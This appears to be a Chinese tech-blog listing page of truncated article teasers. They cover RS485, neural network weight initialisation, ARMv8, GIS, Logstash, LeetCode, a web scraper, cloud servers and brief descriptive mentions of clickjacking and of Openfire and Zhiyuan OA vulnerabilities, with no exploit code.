一、RS485电路 ​RS485( Recommended Standard-485&#xff09;是隶属于OSI模型-物理层的电气特性&#xff0c;规定为 2 线、半双工、平衡传输线的多点异步通信标准&#xff0c;通信采用差分信号传输。 典型485应用电路如下图所示&#xff1a; 其中 、# 分别控制接收和发送…

深度学习-全连接神经网络-训练过程-权值初始化- [北邮鲁鹏]

文章目录 思想避免全零初始化随机权值初始化权值初始化太小&#xff1a;权值初始化太大Xavier初始化目标为什么输入和输出分布会变得不同&#xff1f;Xavier在使用Tanh时的表现好Xavier在使用ReLU时的表现不好 HE初始化&#xff08;MSRA&#xff09;权值初始化总结 思想 通过调…

ARMv8架构简介

ARMv8-A架构和处理器 ARMv8-A架构 ARMv8‑A 架构是针对应用程序配置文件的最新一代 ARM 架构。 ARMv8 这个名称用于描述整体架构,现在包括 32 位执行状态和 64 位执行状态。它引入了使用 64 位宽寄存器执行的能力,同时保持与现有 ARMv7 软件的向后兼容性。 ARMv8‑A 架构引…

电脑死机的时候,CPU到底在做什么?

电脑死机&#xff0c;应该每个接触计算机的小伙伴都经历过吧。 尤其是早些年&#xff0c;电脑配置还没现在这么高的时候&#xff0c;多开几个重量级应用程序&#xff0c;死机就能如约而至&#xff0c;就算你把键盘上的CTRLALTDELETE按烂了&#xff0c;任务管理器也出不来&…

GIS前端-地图事件编程

GIS前端-地图事件编程 图层操作事件地图状态事件交互事件弹出框事件导出PDF 在地图上的一切操作均要采用地图事件机制来实现&#xff0c;即通过鼠标、键盘等交互&#xff0c;触发地图相关事件&#xff0c;进而调用相关功能接口函数实现相应的GIS功能。在具体的实现过程中&#…

logstash无法精确到毫秒级解决方案

问题描述 最近遇到这样一个问题&#xff1a;logstash想要动态更新数据库内容&#xff0c;常用的方法是在conf文件里设置。这里我选择用timestamp记录 # 数据追踪 # 追踪的字段 tracking_column > "update_time" tracking_column_type > "timestamp"…

【LeetCode-中等题】 454. 四数相加 II

文章目录 题目方法一&#xff1a;哈希表 题目 方法一&#xff1a;哈希表 哈希表记录前两个数组的和以及出现次数&#xff0c;然后记录后面两个数组的和&#xff0c;成功将四数之和转换为两数之和 因为本题特殊在和是为0 的 所以后面的两个数组之和取反 如果能在map的key中存在…

关于rsync用不了之后

1.尝试找出rsync使用错误原因&#xff1a; 我遇见一个问题&#xff1a;rsync:read errors mapping&#xff1a;communication error on send &#xff08;70&#xff09;&#xff0c;我查了一下这个问题很大可能是网络链接导致的&#xff0c;然后我用nslookup指令查看了/train2…

python-爬虫-爬取中华人民共和国农业农村部网站公开的农产品批发价格中的蔬菜价格周数据

中华人民共和国农业农村部 http://www.moa.gov.cn/ 点击数据 → 点击周度数据 → 跳转网页 http://zdscxx.moa.gov.cn:8080/nyb/pc/frequency.jsp 分析 抓包&#xff0c;发现getFrequencyData里面有我们想要的数据 查看请求的提交参数 使用postman接口测试工具测试验证ge…

华为云征文|华为云云耀云服务器L实例使用教学

目录 国内免费云服务器&#xff08;体验&#xff09; 认识国内免费云服务器 如何开通国内免费云服务器 云耀云服务器 HECS HECS适用于哪些场景&#xff1f; 网站搭建 电商建设 开发测试环境 云端学习环境 为什么选择华为云耀云服务器 HECS 国内免费云服务器&#xff…

MES管理系统和ERP系统在生产制造管理中的应用

MES生产管理系统通过过程管理、质量管理、设备管理、产品跟踪和溯源、性能分析和物料管理等方面来管理生产制造&#xff0c;旨在建立规范的生产管理信息平台&#xff0c;提高企业核心竞争力。ERP系统则通过制定生产计划、细分物料需求计划、车间订单下达和生产回报等步骤进行生…

推荐9个好玩的AI作图网站

1、Mental AI Mental AI是一款国产的AI作图网站&#xff0c;它访问方便&#xff0c;使用简单&#xff0c;是更适合国内设计师使用的AI作图网站推荐。在Mental AI中&#xff0c;设计师既可以使用文字描述的方式来生成图片&#xff0c;也可以使用叠加模型的方式来生成图片&#x…

点击劫持概念及解决办法

1.点击劫持的概念 点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack )&#xff0c;是一种视觉上的欺骗手段。攻击者使用一个或多个透明的 iframe 覆盖在一个正常的网页上&#xff0c;然后诱使用户在该网页上进行操作&#xff0c;当用户在不知情的情况下点击…

靶场上新:Openfire身份认证绕过

本文由掌控安全学院-江月投稿 封神台新上线漏洞复现靶场&#xff1a;Openfire身份认证绕过。 漏洞详情&#xff1a; Openfire是采用Java编程语言开发的实时协作服务器&#xff0c;Openfire的管理控制台是一个基于Web的应用程序&#xff0c;被发现可以使用路径遍历的方式绕过…

GIS前端编程 地图常用操作

GIS前端编程 地图常用操作 地图背景设置地图定位地图级数控制获取显示参数 地图操作是WebGIS应用的基本功能&#xff0c;如缩放、移动等操作。在实际WebGIS应用中&#xff0c;地图操作方式多种多样。下面主要介绍以下几种地图操作&#xff1a;地图背景设置、地图定位、地图级数…

WebDAV之π-Disk派盘 + BubbleUPnP

BubbleUPnP是一款功能强大的Android播放器,支持UPnP/DLNA多屏互动。它可以将手机内容投屏到电视大屏上,与家人和朋友一起共享。此外,BubbleUPnP还提供了丰富的音乐和影视资源,您可以在线搜索并播放喜欢的内容。 以下是BubbleUPnP的一些主要特点: 1. 支持Chromecast和转码…

2023 致远OA-任意用户密码重置漏洞

一、致远OA 致远OA是一款企业级办公自动化软件&#xff0c;它提供了一系列的办公自动化解决方案&#xff0c;包括文档管理、流程管理、协同办公、知识管理、人力资源管理等功能。致远OA可以帮助企业实现信息化管理&#xff0c;提高工作效率和管理水平&#xff0c;同时也可以提高…

【Linux 运维必备的 13 款实用工具,赶紧收藏~】

转载&#xff1a;https://blog.csdn.net/jb19900111/article/details/17756183 本文介绍几款Linux运维比较实用的工具&#xff0c;希望对Linux管理员有所帮助。 1、查看进程占用带宽情况-Nethogs Nethogs 是一个终端下的网络流量监控工具可以直观的显示每个进程占用的带宽。 …